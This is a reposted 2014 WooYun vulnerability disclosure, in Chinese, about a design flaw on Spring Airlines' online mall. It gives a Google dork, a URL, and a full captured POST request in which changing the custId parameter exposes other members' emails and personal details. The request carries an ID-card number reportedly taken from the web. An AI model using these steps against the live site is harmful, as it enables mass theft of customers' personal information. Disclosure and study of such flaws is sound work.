记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

春秋航空某处设计缺陷可遍历用户信息

2014-06-13 04:16

首先是注册帐号,个人信息处,发现有个会员号:9C0202348612

q1.jpg



通过抓包,获取到请求为custId:9C0202348612

然后利用google搜索:site:china-sss.com inurl:custId

q3.jpg



http://mall.china-sss.com/member/action?custId=9C0201718096

打开这个链接,发现通过修改custId,可以获取到该会员所注册的邮箱帐号

q4.jpg



q5.jpg



但如果只是这样,获取到注册邮箱帐号跟会员号,似乎没什么用处?

这时候我灵光一闪,既然注册激活处可以遍历,那么登录后的个人信息处能否遍历呢?

http://mall.china-sss.com/ 绿翼商城 (因为跟主站的用户是相通的,所以我直接登录)

q6.jpg



随便网上找了身份证填写一下,点击保存修改的时候抓包,获取到这么一个POST请求

POST /member/update HTTP/1.1

Host: mall.china-sss.com

Proxy-Connection: keep-alive

Content-Length: 179

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://mall.china-sss.com

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://mall.china-sss.com/member/update

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie:XXXXXXXXXXXXXXX



custId=9C0202348612&email=XXXXXX2%40126.com&personalName=&familyName=%E8%80%81%E7%8E%8B&sex=1&cardTypeId=1&IDNO=511702197701193532&birthday=&tel=&address=&zip=&ifEmail=Y



通过修改此处的custId,可以实现用户信息的遍历

02.jpg



03.jpg



04.jpg



至于有多少用户..你们更清楚





漏洞证明:

求高rank

修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2014-058810

阅读:171861 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“春秋航空某处设计缺陷可遍历用户信息”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

↓赞助商 🙇🧎

标签云 ☁